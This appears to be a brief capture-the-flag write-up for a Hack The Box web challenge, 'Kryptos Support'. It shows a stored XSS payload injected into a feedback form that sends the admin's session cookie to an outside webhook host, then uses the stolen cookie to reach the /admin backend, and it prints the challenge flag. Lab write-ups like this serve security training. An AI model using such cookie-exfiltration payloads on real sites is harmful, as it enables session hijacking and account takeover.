Kryptos Support
The first page you are greeted with is an entry page for leaving feedback for the Kryptos Vault
and a “backend” button that we can’t click but poking around it leads us to /admin
and the following login
Just throwing a simple xss payload at the feedback page works right off the bat!
<script>document.write('<img src="https://webhook.io/{your_webhook_uuid}/?cookie="'+document.cookie+'/>;)</script>
This sends us back a webhook request with a cookie. The admin cookie! Setting it as our own we can finally get to the backend and retreive our flag
Flag: HTB{x55_4nd_id0rs_ar3_fun!!}